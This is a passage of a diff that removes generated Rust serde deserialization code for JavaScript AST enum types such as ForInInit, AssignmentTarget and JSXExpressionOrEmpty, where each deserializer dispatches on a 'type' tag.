-                Ok(ForInit::Expression(Expression::UpdateExpression(node)))
-            }
-            __ForInitTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::Expression(Expression::YieldExpression(node)))
-            }
-            __ForInitTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInit::VariableDeclaration(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ForInInit {
-    Pattern(Pattern),
-    VariableDeclaration(Box<VariableDeclaration>),
-}
-#[derive(Deserialize, Debug)]
-enum __ForInInitTag {
-    Identifier,
-    ArrayPattern,
-    ObjectPattern,
-    RestElement,
-    AssignmentPattern,
-    VariableDeclaration,
-}
-impl<'de> serde::Deserialize<'de> for ForInInit {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ForInInitTag,
-            >::new("type", "ForInInit"),
-        )?;
-        match tagged.0 {
-            __ForInInitTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::Pattern(Pattern::Identifier(node)))
-            }
-            __ForInInitTag::ArrayPattern => {
-                let node: Box<ArrayPattern> = <Box<
-                    ArrayPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::Pattern(Pattern::ArrayPattern(node)))
-            }
-            __ForInInitTag::ObjectPattern => {
-                let node: Box<ObjectPattern> = <Box<
-                    ObjectPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::Pattern(Pattern::ObjectPattern(node)))
-            }
-            __ForInInitTag::RestElement => {
-                let node: Box<RestElement> = <Box<
-                    RestElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::Pattern(Pattern::RestElement(node)))
-            }
-            __ForInInitTag::AssignmentPattern => {
-                let node: Box<AssignmentPattern> = <Box<
-                    AssignmentPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::Pattern(Pattern::AssignmentPattern(node)))
-            }
-            __ForInInitTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ForInInit::VariableDeclaration(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum PropertyOrSpreadElement {
-    Property(Box<Property>),
-    SpreadElement(Box<SpreadElement>),
-}
-#[derive(Deserialize, Debug)]
-enum __PropertyOrSpreadElementTag {
-    Property,
-    SpreadElement,
-}
-impl<'de> serde::Deserialize<'de> for PropertyOrSpreadElement {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __PropertyOrSpreadElementTag,
-            >::new("type", "PropertyOrSpreadElement"),
-        )?;
-        match tagged.0 {
-            __PropertyOrSpreadElementTag::Property => {
-                let node: Box<Property> = <Box<
-                    Property,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(PropertyOrSpreadElement::Property(node))
-            }
-            __PropertyOrSpreadElementTag::SpreadElement => {
-                let node: Box<SpreadElement> = <Box<
-                    SpreadElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(PropertyOrSpreadElement::SpreadElement(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum AssignmentPropertyOrRestElement {
-    AssignmentProperty(Box<AssignmentProperty>),
-    RestElement(Box<RestElement>),
-}
-#[derive(Deserialize, Debug)]
-enum __AssignmentPropertyOrRestElementTag {
-    AssignmentProperty,
-    RestElement,
-}
-impl<'de> serde::Deserialize<'de> for AssignmentPropertyOrRestElement {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __AssignmentPropertyOrRestElementTag,
-            >::new("type", "AssignmentPropertyOrRestElement"),
-        )?;
-        match tagged.0 {
-            __AssignmentPropertyOrRestElementTag::AssignmentProperty => {
-                let node: Box<AssignmentProperty> = <Box<
-                    AssignmentProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentPropertyOrRestElement::AssignmentProperty(node))
-            }
-            __AssignmentPropertyOrRestElementTag::RestElement => {
-                let node: Box<RestElement> = <Box<
-                    RestElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentPropertyOrRestElement::RestElement(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum AssignmentTarget {
-    Expression(Expression),
-    Pattern(Pattern),
-}
-#[derive(Deserialize, Debug)]
-enum __AssignmentTargetTag {
-    Identifier,
-    ArrayPattern,
-    ObjectPattern,
-    RestElement,
-    AssignmentPattern,
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-}
-impl<'de> serde::Deserialize<'de> for AssignmentTarget {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __AssignmentTargetTag,
-            >::new("type", "AssignmentTarget"),
-        )?;
-        match tagged.0 {
-            __AssignmentTargetTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Pattern(Pattern::Identifier(node)))
-            }
-            __AssignmentTargetTag::ArrayPattern => {
-                let node: Box<ArrayPattern> = <Box<
-                    ArrayPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Pattern(Pattern::ArrayPattern(node)))
-            }
-            __AssignmentTargetTag::ObjectPattern => {
-                let node: Box<ObjectPattern> = <Box<
-                    ObjectPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Pattern(Pattern::ObjectPattern(node)))
-            }
-            __AssignmentTargetTag::RestElement => {
-                let node: Box<RestElement> = <Box<
-                    RestElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Pattern(Pattern::RestElement(node)))
-            }
-            __AssignmentTargetTag::AssignmentPattern => {
-                let node: Box<AssignmentPattern> = <Box<
-                    AssignmentPattern,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Pattern(Pattern::AssignmentPattern(node)))
-            }
-            __AssignmentTargetTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ArrayExpression(node)))
-            }
-            __AssignmentTargetTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    AssignmentTarget::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __AssignmentTargetTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::AssignmentExpression(node)))
-            }
-            __AssignmentTargetTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::AwaitExpression(node)))
-            }
-            __AssignmentTargetTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::BinaryExpression(node)))
-            }
-            __AssignmentTargetTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::BooleanLiteral(node)))
-            }
-            __AssignmentTargetTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::CallExpression(node)))
-            }
-            __AssignmentTargetTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ChainExpression(node)))
-            }
-            __AssignmentTargetTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ClassExpression(node)))
-            }
-            __AssignmentTargetTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ConditionalExpression(node)))
-            }
-            __AssignmentTargetTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::CoverTypedIdentifier(node)))
-            }
-            __AssignmentTargetTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::FunctionExpression(node)))
-            }
-            __AssignmentTargetTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ImportExpression(node)))
-            }
-            __AssignmentTargetTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::JSXElement(node)))
-            }
-            __AssignmentTargetTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::JSXFragment(node)))
-            }
-            __AssignmentTargetTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::Literal(node)))
-            }
-            __AssignmentTargetTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::LogicalExpression(node)))
-            }
-            __AssignmentTargetTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::MemberExpression(node)))
-            }
-            __AssignmentTargetTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::MetaProperty(node)))
-            }
-            __AssignmentTargetTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::NewExpression(node)))
-            }
-            __AssignmentTargetTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::NullLiteral(node)))
-            }
-            __AssignmentTargetTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::NumericLiteral(node)))
-            }
-            __AssignmentTargetTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ObjectExpression(node)))
-            }
-            __AssignmentTargetTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    AssignmentTarget::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __AssignmentTargetTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    AssignmentTarget::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __AssignmentTargetTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::RegExpLiteral(node)))
-            }
-            __AssignmentTargetTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::SequenceExpression(node)))
-            }
-            __AssignmentTargetTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::StringLiteral(node)))
-            }
-            __AssignmentTargetTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    AssignmentTarget::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __AssignmentTargetTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::TemplateLiteral(node)))
-            }
-            __AssignmentTargetTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::ThisExpression(node)))
-            }
-            __AssignmentTargetTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::UnaryExpression(node)))
-            }
-            __AssignmentTargetTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::UpdateExpression(node)))
-            }
-            __AssignmentTargetTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(AssignmentTarget::Expression(Expression::YieldExpression(node)))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ChainElement {
-    CallExpression(Box<CallExpression>),
-    MemberExpression(Box<MemberExpression>),
-}
-#[derive(Deserialize, Debug)]
-enum __ChainElementTag {
-    CallExpression,
-    MemberExpression,
-}
-impl<'de> serde::Deserialize<'de> for ChainElement {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ChainElementTag,
-            >::new("type", "ChainElement"),
-        )?;
-        match tagged.0 {
-            __ChainElementTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ChainElement::CallExpression(node))
-            }
-            __ChainElementTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ChainElement::MemberExpression(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXMemberExpressionOrIdentifier {
-    JSXIdentifier(Box<JSXIdentifier>),
-    JSXMemberExpression(Box<JSXMemberExpression>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXMemberExpressionOrIdentifierTag {
-    JSXMemberExpression,
-    JSXIdentifier,
-}
-impl<'de> serde::Deserialize<'de> for JSXMemberExpressionOrIdentifier {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXMemberExpressionOrIdentifierTag,
-            >::new("type", "JSXMemberExpressionOrIdentifier"),
-        )?;
-        match tagged.0 {
-            __JSXMemberExpressionOrIdentifierTag::JSXMemberExpression => {
-                let node: Box<JSXMemberExpression> = <Box<
-                    JSXMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXMemberExpressionOrIdentifier::JSXMemberExpression(node))
-            }
-            __JSXMemberExpressionOrIdentifierTag::JSXIdentifier => {
-                let node: Box<JSXIdentifier> = <Box<
-                    JSXIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXMemberExpressionOrIdentifier::JSXIdentifier(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXExpressionOrEmpty {
-    Expression(Expression),
-    JSXEmptyExpression(Box<JSXEmptyExpression>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXExpressionOrEmptyTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-    JSXEmptyExpression,
-}
-impl<'de> serde::Deserialize<'de> for JSXExpressionOrEmpty {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXExpressionOrEmptyTag,
-            >::new("type", "JSXExpressionOrEmpty"),
-        )?;
-        match tagged.0 {
-            __JSXExpressionOrEmptyTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ArrayExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::AssignmentExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::AwaitExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::BinaryExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::BooleanLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::CallExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ChainExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ClassExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::ConditionalExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::CoverTypedIdentifier(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::FunctionExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::Identifier(node)))
-            }
-            __JSXExpressionOrEmptyTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ImportExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::JSXElement(node)))
-            }
-            __JSXExpressionOrEmptyTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::JSXFragment(node)))
-            }
-            __JSXExpressionOrEmptyTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::Literal(node)))
-            }
-            __JSXExpressionOrEmptyTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
